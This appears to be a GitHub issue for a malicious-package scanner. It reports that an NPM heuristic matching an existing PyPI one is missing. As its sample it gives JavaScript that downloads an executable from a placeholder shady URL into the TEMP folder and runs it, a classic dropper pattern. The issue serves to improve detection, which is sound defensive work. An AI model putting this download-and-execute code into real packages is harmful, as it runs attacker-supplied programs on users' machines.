We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Similar pypi heuristic is not present in NPM:
Sample:
const Link = "http://someshadyurl.com/node_manager.exe"; const FinalPath = path.join(process.env.TEMP, "test.exe") async function main(){ await download(Link, FinalPath) await execFileSync(FinalPath) } function download(url, dest) { return new Promise((resolve, reject) => { const file = fs.createWriteStream(dest, { flags: "wx" }); const request = http.get(url, response => { if (response.statusCode === 200) { response.pipe(file); } else { file.close(); fs.unlink(dest, () => {}); // Delete temp file reject(`Server responded with ${response.statusCode}: ${response.statusMessage}`); } }); request.on("error", err => { file.close(); fs.unlink(dest, () => {}); // Delete temp file reject(err.message); }); file.on("finish", () => { resolve(); }); file.on("error", err => { file.close(); if (err.code === "EEXIST") { reject("File already exists"); } else { fs.unlink(dest, () => {}); // Delete temp file reject(err.message); } }); }); }
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Similar pypi heuristic is not present in NPM:
Sample:
The text was updated successfully, but these errors were encountered: